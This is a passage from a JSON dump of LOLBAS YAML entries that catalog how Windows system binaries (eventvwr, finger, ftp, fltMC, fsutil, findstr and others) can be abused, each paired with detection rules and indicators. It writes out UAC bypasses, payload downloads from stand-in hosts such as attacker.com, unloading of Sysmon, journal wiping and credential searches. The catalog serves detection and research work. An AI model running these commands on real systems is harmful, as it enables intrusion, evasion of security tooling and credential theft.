Link: https://twitter.com/egre55/status/985994639202283520\n - Link: https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/\n - Link: https://twitter.com/bohops/status/1094810861095534592\nAcknowledgement:\n - Person: egre55\n Handle: '@egre55'\n - Person: Mike Cary\n Handle: '@grayfold3d'\n" }, { "path": "yml/OSBinaries/Eudcedit.yml", "content": "---\nName: Eudcedit.exe\nDescription: Private Character Editor Windows Utility\nAuthor: Matan Bahar\nCreated: 2025-08-07\nCommands:\n - Command: eudcedit\n Description: Once executed, the Private Charecter Editor will be opened - click OK, then click File -> Font Links. In the next window choose the option \"Link with Selected Fonts\" and click on Save As, then in the opened enter the command you want to execute.\n Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: Administrator\n MitreID: T1548.002\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Application: GUI\nFull_Path:\n - Path: c:\\windows\\system32\\eudcedit.exe\n - Path: c:\\windows\\syswow64\\eudcedit.exe\nDetection:\n - IOC: Processes spawned by eudcedit.exe.\nResources:\n - Link: https://medium.com/@matanb707/windows-fonts-exploitation-in-2025-bypassing-uac-with-eudcedit-915599705639\nAcknowledgement:\n - Person: Matan Bahar\n Handle: '@Bl4ckShad3'\n" }, { "path": "yml/OSBinaries/Eventvwr.yml", "content": "---\nName: Eventvwr.exe\nDescription: Displays Windows Event Logs in a GUI window.\nAuthor: Jacob Gajek\nCreated: 2018-11-01\nCommands:\n - Command: eventvwr.exe\n Description: During startup, eventvwr.exe checks the registry value `HKCU\\Software\\Classes\\mscfile\\shell\\open\\command` for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.\n Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: User\n MitreID: T1548.002\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Application: GUI\n - Execute: EXE\n - Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c \"{CMD}\" > RecentViews & copy RecentViews %LOCALAPPDATA%\\Microsoft\\EventV~1\\RecentViews & eventvwr.exe\n Description: During startup, eventvwr.exe uses .NET deserialization with `%LOCALAPPDATA%\\Microsoft\\EventV~1\\RecentViews` file. This file can be created using https://github.com/pwntester/ysoserial.net\n Usecase: Execute a command to bypass security restrictions that limit the use of command-line interpreters.\n Category: UAC Bypass\n Privileges: Administrator\n MitreID: T1548.002\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Application: GUI\n - Execute: .NetObjects\nFull_Path:\n - Path: C:\\Windows\\System32\\eventvwr.exe\n - Path: C:\\Windows\\SysWOW64\\eventvwr.exe\nCode_Sample:\n - Code: https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/d31ea6253ea40789b1fc49ade79b7ec92154d12a/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/eventvwr_uac_bypass.yml\n - IOC: eventvwr.exe launching child process other than mmc.exe\n - IOC: Creation or modification of the registry value HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\nResources:\n - Link: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\n - Link: https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1\n - Link: https://twitter.com/orange_8361/status/1518970259868626944\nAcknowledgement:\n - Person: Matt Nelson\n Handle: '@enigma0x3'\n - Person: Matt Graeber\n Handle: '@mattifestation'\n - Person: Orange Tsai\n Handle: '@orange_8361'\n" }, { "path": "yml/OSBinaries/Expand.yml", "content": "---\nName: Expand.exe\nDescription: Binary that expands one or more compressed files\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}\n Description: Copies source file to destination.\n Usecase: Use to copies the source file to the destination file\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext}\n Description: Copies source file to destination.\n Usecase: Copies files from A to B\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat\n Description: Copies source file to destination Alternate Data Stream (ADS)\n Usecase: Copies files from A to B\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\Expand.exe\n - Path: C:\\Windows\\SysWOW64\\Expand.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml\nResources:\n - Link: https://twitter.com/infosecn1nja/status/986628482858807297\n - Link: https://twitter.com/Oddvarmoe/status/986709068759949319\nAcknowledgement:\n - Person: Rahmat Nurfauzi\n Handle: '@infosecn1nja'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Explorer.yml", "content": "---\nName: Explorer.exe\nDescription: Binary used for managing files and system components within Windows\nAuthor: Jai Minton\nCreated: 2020-06-24\nCommands:\n - Command: explorer.exe /root,\"{PATH_ABSOLUTE:.exe}\"\n Description: Execute specified .exe with the parent process spawning from a new instance of explorer.exe\n Usecase: Performs execution of specified file with explorer parent process breaking the process tree, can be used for defense evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows XP, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: explorer.exe {PATH_ABSOLUTE:.exe}\n Description: Execute notepad.exe with the parent process spawning from a new instance of explorer.exe\n Usecase: Performs execution of specified file with explorer parent process breaking the process tree, can be used for defense evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\explorer.exe\n - Path: C:\\Windows\\SysWOW64\\explorer.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_explorer_lolbin_execution.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/f2bc0c685d83db7db395fc3dc4b9729759cd4329/rules/windows/initial_access_via_explorer_suspicious_child_parent_args.toml\n - IOC: Multiple instances of explorer.exe or explorer.exe using the /root command line is suspicious.\nResources:\n - Link: https://twitter.com/CyberRaiju/status/1273597319322058752?s=20\n - Link: https://twitter.com/bohops/status/1276356245541335048\n - Link: https://twitter.com/bohops/status/986984122563391488\nAcknowledgement:\n - Person: Jai Minton\n Handle: '@CyberRaiju'\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OSBinaries/Extexport.yml", "content": "---\nName: Extexport.exe\nDescription: Load a DLL located in the c:\\test folder with a specific name.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Extexport.exe {PATH_ABSOLUTE:folder} foo bar\n Description: Load a DLL located in the specified folder with one of the following names mozcrt19.dll, mozsqlite3.dll, or sqlite.dll.\n Usecase: Execute dll file\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Program Files\\Internet Explorer\\Extexport.exe\n - Path: C:\\Program Files (x86)\\Internet Explorer\\Extexport.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml\n - IOC: Extexport.exe loads dll and is execute from other folder the original path\nResources:\n - Link: http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n" }, { "path": "yml/OSBinaries/Extrac32.yml", "content": "---\nName: Extrac32.exe\nDescription: Extract to ADS, copy or overwrite a file with Extrac32.exe\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe\n Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.\n Usecase: Extract data from cab file and hide it in an alternate data stream.\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe\n Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.\n Usecase: Extract data from cab file and hide it in an alternate data stream.\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Type: Compression\n - Command: extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}\n Description: Copy the source file to the destination file and overwrite it.\n Usecase: Download file from UNC/WEBDav\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}\n Description: Command for copying file from one folder to another\n Usecase: Copy file\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\extrac32.exe\n - Path: C:\\Windows\\SysWOW64\\extrac32.exe\nDetection:\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml\nResources:\n - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n - Link: https://twitter.com/egre55/status/985994639202283520\nAcknowledgement:\n - Person: egre55\n Handle: '@egre55'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n - Person: Hai Vaknin(Lux\n Handle: '@VakninHai'\n - Person: Tamir Yehuda\n Handle: '@tim8288'\n" }, { "path": "yml/OSBinaries/Findstr.yml", "content": "---\nName: Findstr.exe\nDescription: Write to ADS, discover, or download files with Findstr.exe\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe\n Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.\n Usecase: Add a file to an alternate data stream to hide from defensive counter measures\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe\n Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.\n Usecase: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: findstr /S /I cpassword \\\\sysvol\\policies\\*.xml\n Description: Search for stored password in Group Policy files stored on SYSVOL.\n Usecase: Find credentials stored in cpassword attrbute\n Category: Credentials\n Privileges: User\n MitreID: T1552.001\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}\n Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.\n Usecase: Download/Copy file from webdav server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\findstr.exe\n - Path: C:\\Windows\\SysWOW64\\findstr.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml\nResources:\n - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Finger.yml", "content": "---\nName: Finger.exe\nDescription: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon\nAuthor: Ruben Revuelta\nCreated: 2021-08-30\nCommands:\n - Command: finger user@example.host.com | more +2 | cmd\n Description: 'Downloads payload from remote Finger server. This example connects to \"example.host.com\" asking for user \"user\"; the result could contain malicious shellcode which is executed by the cmd process.'\n Usecase: Download malicious payload\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022\nFull_Path:\n - Path: c:\\windows\\system32\\finger.exe\n - Path: c:\\windows\\syswow64\\finger.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_finger_usage.yml\n - IOC: finger.exe should not be run on a normal workstation.\n - IOC: finger.exe connecting to external resources.\nResources:\n - Link: https://twitter.com/DissectMalware/status/997340270273409024\n - Link: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)\nAcknowledgement:\n - Person: Ruben Revuelta (MAPFRE CERT)\n Handle: '@rubn_RB'\n - Person: Jose A. Jimenez (MAPFRE CERT)\n Handle: '@Ocelotty6669'\n - Person: Malwrologist\n Handle: '@DissectMalware'\n" }, { "path": "yml/OSBinaries/FltMC.yml", "content": "---\nName: fltMC.exe\nDescription: Filter Manager Control Program used by Windows\nAuthor: John Lambert\nCreated: 2021-09-18\nCommands:\n - Command: fltMC.exe unload SysmonDrv\n Description: Unloads a driver used by security agents\n Usecase: Defense evasion\n Category: Tamper\n Privileges: Admin\n MitreID: T1562.001\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\fltMC.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver_sysmon.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_via_filter_manager.toml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/unload_sysmon_filter_driver.yml\n - IOC: 4688 events with fltMC.exe\nResources:\n - Link: https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon\nAcknowledgement:\n - Person: Carlos Perez\n Handle: '@Carlos_Perez'\n" }, { "path": "yml/OSBinaries/Forfiles.yml", "content": "---\nName: Forfiles.exe\nDescription: Selects and executes a command on a file or set of files. This command is useful for batch processing.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: forfiles /p c:\\windows\\system32 /m notepad.exe /c \"{CMD}\"\n Description: Executes specified command since there is a match for notepad.exe in the c:\\windows\\System32 folder.\n Usecase: Use forfiles to start a new process to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: forfiles /p c:\\windows\\system32 /m notepad.exe /c \"{PATH_ABSOLUTE}:evil.exe\"\n Description: Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\\windows\\system32 folder.\n Usecase: Use forfiles to start a new process from a binary hidden in an alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\forfiles.exe\n - Path: C:\\Windows\\SysWOW64\\forfiles.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml\nResources:\n - Link: https://twitter.com/vector_sec/status/896049052642533376\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\nAcknowledgement:\n - Person: Eric\n Handle: '@vector_sec'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Fsutil.yml", "content": "---\nName: Fsutil.exe\nDescription: File System Utility\nAuthor: Elliot Killick\nCreated: 2021-08-16\nCommands:\n - Command: fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}\n Description: Zero out a file\n Usecase: Can be used to forensically erase a file\n Category: Tamper\n Privileges: User\n MitreID: T1485\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n - Command: 'fsutil.exe usn deletejournal /d c:'\n Description: Delete the USN journal volume to hide file creation activity\n Usecase: Can be used to hide file creation activity\n Category: Tamper\n Privileges: User\n MitreID: T1485\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n - Command: fsutil.exe trace decode\n Description: Executes a pre-planted binary named netsh.exe from the current directory.\n Usecase: Spawn a pre-planted executable from fsutil.exe.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\fsutil.exe\n - Path: C:\\Windows\\SysWOW64\\fsutil.exe\nDetection:\n - IOC: fsutil.exe should not be run on a normal workstation\n - IOC: file setZeroData (not case-sensitive) in the process arguments\n - IOC: Sysmon Event ID 1\n - IOC: Execution of process fsutil.exe with trace decode could be suspicious\n - IOC: Non-Windows netsh.exe execution\n - Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml\nResources:\n - Link: https://twitter.com/0gtweet/status/1720724516324704404\nAcknowledgement:\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n - Person: Jimmy\n Handle: '@bohops'\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n" }, { "path": "yml/OSBinaries/Ftp.yml", "content": "---\nName: Ftp.exe\nDescription: A binary designed for connecting to FTP servers\nAuthor: Oddvar Moe\nCreated: 2018-12-10\nCommands:\n - Command: echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt\n Description: Executes the commands you put inside the text file.\n Usecase: Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: cmd.exe /c \"@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v\"\n Description: Download\n Usecase: Spawn new process using ftp.exe. Ftp.exe downloads the binary.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\ftp.exe\n - Path: C:\\Windows\\SysWOW64\\ftp.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml\n - IOC: cmd /c as child process of ftp.exe\nResources:\n - Link: https://twitter.com/0xAmit/status/1070063130636640256\n - Link: https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939\n - Link: https://ss64.com/nt/ftp.html\n - Link: https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: BennyHusted\n Handle: ''\n - Person: Amit Serper\n Handle: '@0xAmit'\n" }, { "path": "yml/OSBinaries/Gpscript.yml", "content": "---\nName: Gpscript.exe\nDescription: Used by group policy to process scripts\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Gpscript /logon\n Description: Executes logon scripts configured in Group Policy.\n Usecase: Add local group policy logon script to execute file and hide from defensive counter measures\n Category: Execute\n Privileges: Administrator\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: Gpscript /startup\n Description: Executes startup scripts configured in Group Policy\n Usecase: Add local group policy logon script to execute file and hide from defensive counter measures\n Category: Execute\n Privileges: Administrator\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\gpscript.exe\n - Path: C:\\Windows\\SysWOW64\\gpscript.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml\n - IOC: Scripts added in local group policy\n - IOC: Execution of Gpscript.exe after logon\nResources:\n - Link: https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Hh.yml", "content": "---\nName: Hh.exe\nDescription: Binary used for processing chm files in Windows\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: HH.exe {REMOTEURL:.bat}\n Description: Open the target batch script with HTML Help.\n Usecase: Download files from url\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Application: GUI\n - Command: HH.exe {PATH_ABSOLUTE:.exe}\n Description: Executes specified executable with HTML Help.\n Usecase: Execute process with HH.exe\n Category: Execute\n Privileges: User\n MitreID: T1218.001\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Application: GUI\n - Command: HH.exe {REMOTEURL:.chm}\n Description: Executes a remote .chm file which can contain commands.\n Usecase: Execute commands with HH.exe\n Category: Execute\n Privileges: User\n MitreID: T1218.001\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Execute: CHM\n - Execute: Remote\nFull_Path:\n - Path: C:\\Windows\\hh.exe\n - Path: C:\\Windows\\SysWOW64\\hh.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml\nResources:\n - Link: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/IMEWDBLD.yml", "content": "---\nName: IMEWDBLD.exe\nDescription: Microsoft IME Open Extended Dictionary Module\nAuthor: Wade Hickey\nCreated: 2020-03-05\nCommands:\n - Command: C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe {REMOTEURL}\n Description: IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml\nResources:\n - Link: https://twitter.com/notwhickey/status/1367493406835040265\nAcknowledgement:\n - Person: Wade Hickey\n Handle: '@notwhickey'\n" }, { "path": "yml/OSBinaries/Ie4uinit.yml", "content": "---\nName: Ie4uinit.exe\nDescription: Executes commands from a specially prepared ie4uinit.inf file.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: ie4uinit.exe -BaseSettings\n Description: Executes commands from a specially prepared ie4uinit.inf file.\n Usecase: Get code execution by copy files to another location\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: INF\nFull_Path:\n - Path: c:\\windows\\system32\\ie4uinit.exe\n - Path: c:\\windows\\sysWOW64\\ie4uinit.exe\n - Path: c:\\windows\\system32\\ieuinit.inf\n - Path: c:\\windows\\sysWOW64\\ieuinit.inf\nDetection:\n - IOC: ie4uinit.exe copied outside of %windir%\n - IOC: ie4uinit.exe loading an inf file (ieuinit.inf) from outside %windir%\n - Sigma: https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml\nResources:\n - Link: https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OSBinaries/Iediagcmd.yml", "content": "---\nName: iediagcmd.exe\nDescription: Diagnostics Utility for Internet Explorer\nAuthor: manasmbellani\nCreated: 2022-03-29\nCommands:\n - Command: 'set windir=c:\\test& cd \"C:\\Program Files\\Internet Explorer\\\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}'\n Description: Executes binary that is pre-planted at C:\\test\\system32\\netsh.exe.\n Usecase: Spawn a pre-planted executable from iediagcmd.exe.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 1803, 